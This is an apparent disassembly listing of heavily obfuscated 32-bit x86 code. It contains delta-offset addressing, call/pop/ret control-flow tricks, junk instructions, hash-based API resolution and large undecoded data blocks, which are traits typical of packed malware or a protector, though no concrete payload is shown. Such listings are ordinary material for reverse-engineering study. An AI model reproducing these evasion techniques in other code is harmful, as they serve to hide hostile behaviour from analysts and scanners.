		push	80000000h
		lea	eax, [ebp+5D3E576h]
		push	eax
		call	dword ptr [ebp+5D10235h]
		mov	[ebp+5D3EE86h],	eax
		mov	byte ptr [ebp+5D124D9h], 47h
		push	0C7B15E87h
		push	dword ptr [ebp+5D10699h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		push	0
		push	dword ptr [ebp+5D3EE86h]
		call	eax
		call	near ptr loc_599FB6+1
		pop	eax
		adc	eax, 0ED3DCC42h
		mov	eax, 83851EEEh


loc_599FB6:				; CODE XREF: ud2_____:00599FA6p
		mulps	xmm1, oword ptr	[ecx-2EFEDE6Bh]
		add	eax, 37D03Dh
		add	[edi], cl
		adc	dword ptr [ebx+0], 0
		add	[edi], cl
		mov	eax, [eax]
; ---------------------------------------------------------------------------
		dd 29000000h, 0D113A98Dh, 86B5FF05h, 6A05D3EEh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 3F07C355h, 840FEFDBh, 5, 0FFCC9CBAh,	860F48h, 0FF000000h
		dd 0D11D3995h, 0D18B6605h, 89E9h, 0FCF68000h, 0EE86B5FFh
		dd 958905D3h, 5D11F31h,	1D3995FFh, 0B70F05D1h, 0F006AFBh
		dd 380h, 0FEB70F00h, 9589006Ah,	5D127DDh, 6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0B6D8E9C3h, 0BD313774h, 5D11E8Dh, 0C680006Ah, 52006A05h
		dd 81006A5Fh, 0B95CFAD2h, 8A858D3Fh, 8005D3EEh,	8050B6DDh
		dd 95FF5BEDh, 5D10235h,	8377DA80h, 850FFFF8h, 11Bh, 1219958Bh
		dd 858D05D1h, 5D3A549h,	0FF8EF580h, 0E08160D0h,	7E15A2C2h
		dd 202D9D89h, 6A6105D1h, 6D950B00h, 6A05D124h, 6AFC00h
		dd 6418E2BFh, 6A006A54h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 5135C357h, 9496BC94h
		dd 0F64BD5Bh, 6ACA8Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 81C35646h, 0BD8B3D00h, 5D12579h, 0E851006Ah
		dd 6, 0D3D23AF6h, 9D8966ADh, 5D114D5h, 8B665F5Fh, 8A858DCEh
		dd 6605D3EEh, 50F18EB9h, 0FFD3B70Fh, 0D1023595h, 0FA8B6605h
		dd 8658D8Bh, 0F88305D1h, 5C850FFFh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0A5F5C355h, 0B96695A5h, 0B58DF562h, 5D3E892h, 3015958Bh
		dd 858D05D1h, 5D39B0Ch,	1485B589h, 8B5305D1h, 0D123C195h
		dd 0D0FF5A05h, 1FBDB589h, 6A05D1h, 5BD2DA81h, 95FF2059h
		dd 5D12425h, 89DDD280h,	0D3EE8685h, 0EE805h, 0EDEE0000h
		dd 38B77CEBh, 7BB8D006h, 95AAEC2Dh, 8D0F51h, 59000000h
		dd 958B605Ah, 5D11651h,	1C318529h, 6A6105D1h, 0EE900h
		dd 9D9D0000h, 161FC099h, 2BC48BF7h, 0C1B091FEh,	0EE7E858Dh
		dd 0B96605D3h, 0F50C3BAh, 285h,	6AF18A00h, 858DFC04h, 5D118A9h
		dd 10318D8Bh, 8D3305D1h, 5D124A1h, 51006A50h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 43CF3740h
		dd 2DBAA581h, 0BF3294ADh, 4DE4D810h, 22F9950Bh,	6A05D1h
		dd 1B73E981h, 6A39FDh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 66C35040h, 5491966h, 95583743h, 0B18D2313h
		dd 6A05D119h, 50006A01h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 9D891419h, 5D102A9h, 0BE9h, 78AFE100h
		dd 93FA93A9h, 0BFD2AE1Dh, 0EE86B5FFh, 6A05D3h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 69CA5FC3h, 0B966CE84h, 95FFD83Dh, 5D10D21h, 8D5BD89h
		dd 0B2E905D1h, 0F00001Bh, 8D29D0BFh, 5D12A4Dh, 840FC08Bh
		dd 6, 42E6F781h, 0CB8B5557h, 1671BD83h,	750005D1h, 1DBD8309h
		dd 5D112h, 53501974h, 0D2B8C08Bh, 89000007h, 0D1140985h
		dd 0CD9D8D05h, 0FF05D3A1h, 83585BD3h, 0D1121DBDh, 17740005h
		dd 0D2B85350h, 89000007h, 0D1140985h, 0BC9D8D05h, 0FF05D39Eh
		dd 89585BD3h, 0D102B99Dh, 458D2905h, 8B05D111h,	0C7FE8BC0h
		dd 0D120E985h, 105h, 0E9816600h, 0B868E8A8h, 0FFCEE4E7h
		dd 0D113F9B5h, 4A858D05h, 0FF05D138h, 618589D0h, 6805D113h
		dd 0C005DBD4h, 13F9B5FFh, 858D05D1h, 5D1384Ah, 8589D0FFh
		dd 5D118BDh, 0E32F858Dh, 0FF5005D3h, 0D10699B5h, 0ED95FF05h
		dd 0B05D112h, 8B0B74C0h, 0E2858DD8h, 5005D3F2h,	858DD3FFh
		dd 5D3F2E2h, 9388366h, 85C70A75h, 5D11FC1h, 1, 309195FFh
		dd 0FF2505D1h, 83000000h, 0A7305F8h, 188D85C7h,	105D1h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 2DC31CC3h, 0C43629E4h, 89F87D74h,	0D126D5BDh
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 10568921h, 151AB71Eh, 2BD9589h, 0BD8005D1h
		dd 5D3EEF1h, 0A850F00h,	66000000h, 0E9DE58BFh, 1A41h, 0C1BD83F8h
		dd 5D11Fh, 0CC850Fh, 0EE800000h, 0BB858D6Bh, 8905D3EEh
		dd 0D1146D9Dh, 6A5005h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0C8B439C3h, 860F6E35h, 19h, 0DE8h
		dd 52F46200h, 9D6D63AFh, 7F7D67E9h, 890FCDD6h, 0
; ---------------------------------------------------------------------------
		pop	ecx
		push	1
		jbe	loc_59A4D3
		mov	ecx, edx


loc_59A4D3:				; CODE XREF: ud2_____:0059A4CBj
		xor	ecx, [ebp+5D11525h]
		push	0
		mov	edi, ebx
		add	[ebp+5D11E4Dh],	edi
		push	0
		mov	dl, 47h
		call	dword ptr [ebp+5D10F75h]
		sub	edi, 7962411Fh
		mov	[ebp+5D3EEE5h],	eax
		or	edi, 0BEE0BF1h
		push	0FFFFFFFFh
		mov	[ebp+5D121EDh],	ebx
		push	dword ptr [ebp+5D3EEE5h]
		push	0
		push	edx
		call	sub_59A518
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A518	proc near		; CODE XREF: ud2_____:0059A510p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_59A518	endp

; ---------------------------------------------------------------------------
		dd 4FF4259Ch, 0B5F2368h, 42B28B1Fh, 19098531h, 95FF05D1h
		dd 5D11279h, 13E1BD89h,	858D05D1h, 5D3E2F6h, 0C0D5DF81h
		dd 0B1502227h, 0C995FF1Dh, 6005D130h, 14418D29h, 8B6605D1h
		dd 858961D9h, 5D3E380h,	8DD3B70Fh, 0D3E30385h, 13E805h
		dd 5C9D0000h, 373EDF12h, 9C7E7AEDh, 0D9E5B96Ch,	323B2F11h
		dd 0B58589A8h, 5F05D11Dh, 28B0F50h, 0B1000000h,	80B5FF89h
		dd 0FF05D3E3h, 0D112ED95h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0EE9BDD6h
		dd 44000000h, 0B9DED757h, 0CDD37257h, 0BF63E172h, 0F9858955h
		dd 6A05D106h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0ACBEC353h, 0B3D6FD6Ah, 8B0Fh
		dd 0AE90000h, 86000000h, 0F09BAE9h, 96BE6F1Fh, 71858D56h
		dd 0E805D3E3h, 6, 948D24A3h, 8D097A88h,	5D11D99h, 6A505Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 321281C3h, 89604239h, 0D119C99Dh, 95895005h,	5D132E1h
		dd 0B5FF6159h, 5D3E380h, 0ED95FFF5h, 6A05D112h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0CB5BC356h, 0E9DEC721h, 60300B62h, 870F4FB4h, 6, 3235B589h
		dd 16105D1h, 0D11D598Dh, 0B7B15005h, 94858959h,	8005D3E3h
		dd 890F58F6h, 1, 50858DF8h, 6A05D3E3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 557C352h
		dd 75958B41h, 5005D115h, 17C58531h, 0B5FF05D1h,	5D3E380h
		dd 0DE9h, 3624B600h, 2CBD5309h,	0E045FCA0h, 95FFC007h
		dd 5D112EDh, 2DADB589h,	858905D1h, 5D3E38Ch, 6917BF66h
		dd 5E48C781h, 858D3662h, 5D3E343h, 9598D03h, 0B95005D1h
		dd 37E7C58Ah, 0B5FFD48Ah, 5D3E380h, 2769B589h, 95FF05D1h
		dd 5D112EDh, 6880Fh, 9D010000h,	5D127E9h, 0E3908589h, 14E905D3h
		dd 36000000h, 0DF088802h, 0C200C014h, 0B78FFA97h, 0D5D91D5h
		dd 8DAF7B82h, 0D3E35E85h, 8B50F505h, 0D10D6D8Dh, 0FFD68B05h
		dd 0D3E380B5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0FFB45593h, 0D112ED95h
		dd 0D9950105h, 8905D125h, 0D110F985h, 68C0F05h,	89000000h
		dd 0D1148D85h, 12858D05h, 6A05D3E3h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 50E7C356h
		dd 0E0F28166h, 80B5FFF6h, 2305D3E3h, 0D10B6DBDh, 0ED95FF05h
		dd 0F05D112h, 685h, 0A9858900h,	8905D116h, 0D3E38485h
		dd 0E9816605h, 858D1007h, 5D3E321h, 39BA6653h, 15059DBh
		dd 0D102A995h, 0EE85305h, 0C000000h, 66832669h,	0C498DFDCh
		dd 0EB7C1F66h, 41BA66ADh, 0FF5A595Fh, 0D3E380B5h, 0FE805h
		dd 0C19F0000h, 3971191h, 23DB03B0h, 0E11C6260h,	75B50965h
		dd 5A05D120h, 6E9h, 9762BD00h, 0FFDA249Ah, 0D112ED95h
		dd 2BF6605h, 888589C0h,	6005D3E3h, 0B723EDBFh, 468611Dh
		dd 0E9000001h, 6, 89A87431h, 858D427Fh,	5D3E418h, 9FA3E281h
		dd 0F507144h, 68Bh, 619D8900h, 8D05D12Ah, 0D3E51C85h, 159D8905h
		dd 5005D125h, 258EB966h, 1B2595FFh, 0BA6605D1h,	0C0851DFDh
		dd 23850Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 5C8A4C3h, 2927A4DCh, 0F1BD8087h
		dd 5D3EEh, 0A850Fh, 0F1800000h,	15A7E96Eh, 0E3B50000h
		dd 1FC1BD83h, 0F0005D1h, 1585h,	0CDB58900h, 8305D113h
		dd 0D3F39BBDh, 840F0005h, 2Ah, 858DC88Bh, 5D3E3B5h, 9ED9D01h
		dd 72E905D1h, 50000015h, 1729958Bh, 0E95905D1h,	10h, 4800Fh
		dd 0BF660000h, 858D3F25h, 5D3E3A0h, 0D98D0150h,	8D05D11Fh
		dd 0D3E41885h, 0E98D2905h, 5005D109h, 0C1BD83FCh, 5D11Fh
		dd 1F840Fh, 950B0000h, 5D1232Dh, 0E53E858Dh, 19E905D3h
		dd 66000000h, 60B1F3BAh, 24F98D8Bh, 8CB305D1h, 27858D61h
		dd 6605D3E5h, 0D228E281h, 52006A50h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 2BA31E64h
		dd 663B352Fh, 985AC281h, 2C58589h, 858D05D1h, 5D3E576h
		dd 68D0Fh, 9D890000h, 5D113B5h,	26BDBD89h, 6A5005D1h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 84F6C351h, 96B73A9Dh, 7FE8B26Dh, 1D4995FFh, 8B6605D1h
		dd 0D28166FBh, 0C483C39Fh, 0D2816610h, 0C08B4E1Fh, 83CA8B66h
		dd 0D11671BDh, 9750005h, 121DBD83h, 740005D1h, 8B535019h
		dd 7D3B8C0h, 85890000h,	5D11409h, 0A1CD9D8Dh, 0D3FF05D3h
		dd 0BD83585Bh, 5D1121Dh, 50177400h, 7D3B853h, 85890000h
		dd 5D11409h, 9EBC9D8Dh,	0D3FF05D3h, 9529585Bh, 5D11229h
		dd 18F0Fh, 8BF90000h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 402C5D96h, 0D8BFB1E6h
		dd 6618A462h, 81654DBFh, 0D3E3A0BDh, 65726F05h,	0B1840F61h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 3B43C355h, 0B157CAE6h,	858D59EDh
		dd 5D3E418h, 55858D50h,	5005D3E5h, 0E576858Dh, 0FF5005D3h
		dd 0D11D4995h, 0CC48305h, 24D985C6h, 684405D1h,	96A3184Fh
		dd 699B5FFh, 858D05D1h,	5D1384Ah, 0D88BD0FFh, 0E576858Dh
		dd 0FF5005D3h, 0A0858DD3h, 5005D3E3h, 0E418858Dh, 835005D3h
		dd 0D11FC1BDh, 8740005h, 0E53E858Dh, 6EB05D3h, 0E527858Dh
		dd 8D5005D3h, 0D3E57685h, 95FF5005h, 5D11D49h, 8910C483h
		dd 0D12301B5h, 50FB8B05h, 5840Fh, 0BFBA0000h, 594F141Bh
		dd 309195FFh, 0BA6605D1h, 0BF0FDC94h, 0FF25FAh,	8D890000h
		dd 5D10971h, 0F05F883h,	2A83h, 1DBD8B00h, 0C705D10Dh, 0D1188D85h
		dd 105h, 0BD895000h, 5D11035h, 0D4858D5Fh, 905D3E3h, 0D11B8995h
		dd 67E905h, 83FC0000h, 0D11FC1BDh, 840F0005h, 34h, 0DE8h
		dd 9B9ABC00h, 9E2DED10h, 41BCD5D8h, 66513EC7h, 5F5AF88Bh
		dd 0E3FF858Dh, 958B05D3h, 5D1304Dh, 30E9h, 60D68B00h, 61858BFCh
		dd 6105D123h, 0E3E1858Dh, 6A05D3h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 22C414C3h, 148589F1h
		dd 0BA05D3E4h, 546A43Ch, 1F5D9589h, 0BD8305D1h,	5D11FC1h
		dd 3E850F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 2554C357h, 0D16931BCh
		dd 95296212h, 5D10719h,	0F39BBD83h, 0F0005D3h, 1384h, 8BCF8B00h
		dd 0D123E595h, 122BE905h, 9D890000h, 5D121C1h, 49CE9h
		dd 90E28100h, 8B029BE8h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0CF8166D2h, 0D38B02DAh
		dd 1671BD83h, 750005D1h, 1DBD8309h, 5D112h, 53501974h
		dd 0D4B8C08Bh, 89000007h, 0D1140985h, 0CD9D8D05h, 0FF05D3A1h
		dd 83585BD3h, 0D1121DBDh, 17740005h, 0D4B85350h, 89000007h
		dd 0D1140985h, 0BC9D8D05h, 0FF05D39Eh, 0F5585BD3h, 5AE8BF66h
		dd 8166C08Bh, 68791DEFh, 0F003Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h
		dd 1Dh,	0C2C35040h, 78F3B4BAh, 0CB69BB2Dh, 8AD8B2EFh, 23006AD1h
		dd 0D120158Dh, 31006A05h, 0D115E5BDh, 0F995FF05h, 6A05D106h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 57B7C355h, 0A3A7EF0h, 0DE93E30h, 7D000000h
		dd 58A85DFAh, 6D9BDDFCh, 0DB234465h, 850FC085h,	4, 5FEC8A51h
		dd 0E3988589h, 0BD8B05D3h, 5D1275Dh, 0B559D01h,	6A05D1h
		dd 899D89h, 6A05D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 5FC35646h, 573838A9h,	18820Fh, 13E90000h
		dd 91000000h, 0B745AD00h, 0F7B0370Bh, 57F4CDF5h, 3C80D107h
		dd 6A5A7F93h, 9958B00h,	0F05D130h, 128Ah, 0DE900h, 6DFC0000h
		dd 0F81CDB0h, 7F9EAA27h, 6ABBA041h, 69BD8B00h, 6A05D11Dh
		dd 13E900h, 0A590000h, 3AA6509Dh, 35928DE2h, 0DDEE4940h
		dd 0FA36E745h, 76858D58h, 0E805D3E5h, 0Bh, 0DE589A63h
		dd 0BA1337B4h, 8B9A4CBBh, 0D10E758Dh, 60505905h, 32CDB503h
		dd 0DE8B05D1h, 8B016A61h, 0D11DE58Dh, 52016A05h, 2AE1B529h
		dd 6A5F05D1h, 1FF6801h,	6A000Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0BC512DC3h, 0C484AFBDh
		dd 12E9B712h, 79000000h, 1CC061Ch, 77361ACEh, 1A5F6C5Ah
		dd 71EE552Dh, 0C1BD83F3h, 5D11Fh, 3E840Fh, 0F570000h, 1188h
		dd 0BE800h, 52810000h, 0B173519Ah, 78FDAC27h, 8D5A5F87h
		dd 0D3E3F585h, 10E905h,	6FBC0000h, 6D80A855h, 828CEAECh
		dd 0FF655644h, 2CE985DFh, 66000000h, 168DD781h,	0E3CB858Dh
		dd 6A05D3h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0D4B16EC3h, 50D68BB7h, 0EE9h, 0B29ABD00h
		dd 0A76CC2FFh, 33EF33EEh, 36E069Eh, 0D110618Dh,	10E95005h
		dd 72000000h, 0C2B983AFh, 0EFA82AD6h, 0F8876A9Eh, 0FFC82303h
		dd 0D3E398B5h, 13E805h,	0EF40000h, 2B4F4DC9h, 84504BDBh
		dd 630C4BC7h, 34E13D78h, 5D958961h, 5905D114h, 0E38495FFh
		dd 85F505D3h, 1A850FC0h, 81000000h, 30B67AD2h, 5CE97Dh
		dd 0AE90000h, 13000000h, 26600740h, 0EA511304h,	9C8589FFh
		dd 0FC05D3E3h, 0E39CB5FFh, 0BF0F05D3h, 0F995FFD1h, 6A05D110h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 7FAFC356h, 0C69E7368h, 958BF8A4h,	5D109ADh
		dd 60E7C181h, 0C0856605h, 850Fh, 106A0000h, 14B19589h
		dd 14E805D1h, 39000000h, 3DE5A535h, 4E16544Ch, 9E318BB2h
		dd 9E3FA434h, 0E89BF0FAh, 13h, 0A18719CCh, 6A6CD7F5h, 65DE6B3Dh
		dd 0A50910F7h, 8B8C0E41h, 0D11CB98Dh, 835A5905h, 0D11FC1BDh
		dd 840F0005h, 3Ch, 0C8D8D89h, 858D05D1h, 5D3E3F5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0A0C35747h, 29BE9585h
		dd 0D10AF98Dh, 0D78B6605h, 0DE9h, 0CBBF0F00h, 0E3CB858Dh
		dd 0BA6605D3h, 89505FBDh, 0D114F19Dh, 98B5FF05h, 6605D3E3h
		dd 95FFF98Bh, 5D3E390h,	850FC085h, 6, 1D698D89h, 858905D1h
		dd 5D3E39Ch, 2CCD9D31h,	6A05D1h, 0F8D3B70Fh, 958B006Ah
		dd 5D10CA1h, 0E39CB5FFh, 8D8B05D3h, 5D126D5h, 0E38895FFh
		dd 950105D3h, 5D12241h,	0BDCF8166h, 0FC085EDh, 0C85h, 81958B00h
		dd 8905D10Dh, 0D117018Dh, 9CB5FF05h, 0E805D3E3h, 10h, 0CE8949F5h
		dd 0F359C912h, 0BE89590Fh, 5B1AA508h, 658509h, 0FF5905D1h
		dd 0D110F995h, 69B52905h, 8505D120h, 6850FC0h, 8B000000h
		dd 0D12FF58Dh, 0BF006A05h, 7AE8815Fh, 8068h, 8D958B00h
		dd 8B05D116h, 0D11EC595h, 8B036A05h, 0D11EC18Dh, 0FC006A05h
		dd 8D8B006Ah, 5D116DDh,	13E9h, 0CF39A900h, 0DA85EF15h
		dd 89F61E81h, 0F79D9B6Dh, 0D62EC638h, 68h, 0D08B66C0h
		dd 0E414B5FFh, 8D8B05D3h, 5D11D99h, 23595FFh, 0B58905D1h
		dd 5D11769h, 0FFFF883h,	5BC85h,	11958900h, 0FF05D10Dh
		dd 0D3EE8285h, 79C18105h, 83374CC2h, 0D3EE82BDh, 840F0205h
		dd 43Ch, 189D958Bh, 858D05D1h, 5AF59Fh,	21A19D89h, 0F18005D1h
		dd 0FCD0FFD4h, 13850Fh,	0EE90000h, 21000000h, 0C2A0B295h
		dd 0B74C4677h, 0E93AA788h, 0F2858DE6h, 8B005AEFh, 0D1086595h
		dd 6AD0FF05h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0D8C351h, 6C81D8EAh, 7E9A96Ch
		dd 38000000h, 0F41753FBh, 0AE9CBF1h, 0CF000000h, 0DB006F01h
		dd 79BB1D4Eh, 8AC08B32h, 71BD83CFh, 5D116h, 0BD830975h
		dd 5D1121Dh, 50197400h,	0B8C08B53h, 7D8h, 14098589h, 9D8D05D1h
		dd 5D3A1CDh, 585BD3FFh,	121DBD83h, 740005D1h, 0B8535017h
		dd 7D8h, 14098589h, 9D8D05D1h, 5D39EBCh, 585BD3FFh, 3810Fh
		dd 8B660000h, 3FB966CBh, 66C08B44h, 0E585EA81h,	0F003F68h
		dd 0A98D8B00h, 6A05D10Eh, 0E58D8900h, 6A05D11Ah, 0EE900h
		dd 45D00000h, 0F842497Ch, 2FAC39B4h, 0B2FFE26Ch, 6F995FFh
		dd 6A05D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 5B0330C3h, 76D22F72h, 0F37DB27h, 84h, 60C08500h
		dd 20FDB58Bh, 0CE905D1h, 0EB000000h, 1EA7DCCEh,	46FBDD1Ch
		dd 614FDD08h, 0E3988589h, 0EE905D3h, 0AA000000h, 7685A360h
		dd 7EB947F0h, 39A5B141h, 1FF68D3h, 6A000Fh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0D9AC23C3h
		dd 0B10CF86Ah, 918D89C1h, 8305D122h, 0D11FC1BDh, 840F0005h
		dd 8Bh,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh
		dd 6CC35545h, 52E4403Ah, 31E0957Fh, 0D1240985h,	0F5858D05h
		dd 6A05D3E3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 2FC2C351h, 0FF849A2h, 0B85h, 6E900h
		dd 0DBD50000h, 21D88ACDh, 32E9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0E05416AAh
		dd 47F2DA7Ch, 8D36ED80h, 0D3E3CB85h, 8F78105h, 50140E07h
		dd 0B5FFFB8Bh, 5D3E398h, 95FFF6B1h, 5D3E390h, 13519D31h
		dd 858905D1h, 5D3E39Ch,	1D758D33h, 85C705D1h, 5D10221h
		dd 0
; ---------------------------------------------------------------------------
		xor	edx, 34D9832Fh
		cmp	dword ptr [ebp+5D3E39Ch], 0
		jz	loc_59B5EB
		pusha
		add	[ebp+5D1123Dh],	esi
		popa
		lea	eax, [ebp+5D3E67Ah]
		mov	edx, [ebp+5D11ABDh]
		push	eax
		push	0
		push	esi
		call	sub_59B453
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B453	proc near		; CODE XREF: ud2_____:0059B44Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_59B453	endp

; ---------------------------------------------------------------------------
		db 7Dh
; ---------------------------------------------------------------------------
		shl	dword ptr [esi-54h], cl
		stc
		push	1
		add	[ebp+5D11881h],	eax
		push	dword ptr [ebp+5D3E39Ch]
		mov	ch, 16h
		call	dword ptr [ebp+5D3E394h]
		push	0
		push	eax
		call	sub_59B489
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B489	proc near		; CODE XREF: ud2_____:0059B481p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_59B489	endp

; ---------------------------------------------------------------------------
		pusha
		db	67h
		mov	edx, 0FCFDC680h
		push	dword ptr [ebp+5D3E39Ch]
		mov	[ebp+5D112F1h],	eax
		call	dword ptr [ebp+5D110F9h]
		xor	edx, [ebp+5D10F6Dh]
		push	0F01FFh
		mov	[ebp+5D11249h],	ecx
		cmp	dword ptr [ebp+5D11FC1h], 0
		jz	loc_59B527
		push	0
		push	edi
		call	sub_59B4DB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B4DB	proc near		; CODE XREF: ud2_____:0059B4D3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_59B4DB	endp

; ---------------------------------------------------------------------------
		db 0E7h
		dd 577D1792h, 8D5ACB8Bh, 0D3E3F585h, 51006A05h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 108B9368h
		dd 1287F4FDh, 10E9B888h, 52000000h
; ---------------------------------------------------------------------------
		mov	ecx, edi
		pop	ecx


loc_59B527:				; CODE XREF: ud2_____:0059B4CAj
		lea	eax, [ebp+5D3E3CBh]
		sub	[ebp+5D11525h],	edx
		push	eax
		push	0
		push	ebp
		call	sub_59B53F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B53F	proc near		; CODE XREF: ud2_____:0059B537p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_59B53F	endp

; ---------------------------------------------------------------------------
		db 89h
		dd 0B30308DCh, 0D8B27DA0h, 6860FB9h, 29000000h,	0D1141185h
		dd 98B5FF05h, 0FF05D3E3h, 0D3E39095h, 11E805h, 26530000h
		dd 0EEE97245h, 22F619BDh, 341CE73Bh, 8A866272h,	85895FD4h
		dd 5D3E39Ch, 3E6695B9h,	9CB5FF3Eh, 6005D3E3h, 0D75858Bh
		dd 0FF6105D1h, 0D3E38C95h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0F8F04741h
		dd 0E39CB5FFh, 840F05D3h, 0Bh, 19BA6660h, 0DA816675h, 0FF614E7Fh
		dd 0D110F995h, 0D8D8905h
		db 0Dh,	0D1h, 5
; ---------------------------------------------------------------------------


loc_59B5EB:				; CODE XREF: ud2_____:0059B42Dj
		jmp	near ptr dword_59A528+76Bh
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5D3EEE5h]
		push	0
		push	ecx
		call	sub_59B601
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B601	proc near		; CODE XREF: ud2_____:0059B5F9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_59B601	endp

; ---------------------------------------------------------------------------
		db 98h,	0ADh, 8Dh
; ---------------------------------------------------------------------------
		push	esi
		jz	loc_59B621
		mov	edi, [ebp+5D10605h]


loc_59B621:				; CODE XREF: ud2_____:0059B615j
		pop	edi
		call	dword ptr [ebp+5D10EDDh]
		mov	di, si
		mov	ecx, 62A6F992h
		mov	eax, [ebp+5D131C5h]
		pusha
		xor	eax, 5C90823Bh
		jmp	loc_59B650
; ---------------------------------------------------------------------------
		dw 0E255h
		dd 0D07B1D8Eh, 30515947h, 0BC86BE5Fh
; ---------------------------------------------------------------------------


loc_59B650:				; CODE XREF: ud2_____:0059B63Dj
		popa
		jmp	loc_59BC72
; ---------------------------------------------------------------------------
		mov	dl, bl
		lea	esi, [ebp+5D3E69Ah]
		push	0
		push	ebp
		call	sub_59B669
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B669	proc near		; CODE XREF: ud2_____:0059B661p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_59B669	endp

; ---------------------------------------------------------------------------
		dec	ecx
		scasd
		nop
		add	[edx+56h], dh
		mov	dx, 0C7AFh
		lea	eax, [ebp+5D39B0Ch]
		push	0
		push	eax
		call	sub_59B694
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B694	proc near		; CODE XREF: ud2_____:0059B68Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_59B694	endp

; ---------------------------------------------------------------------------
		db 65h,	8Bh, 0D2h
		db 9Ah
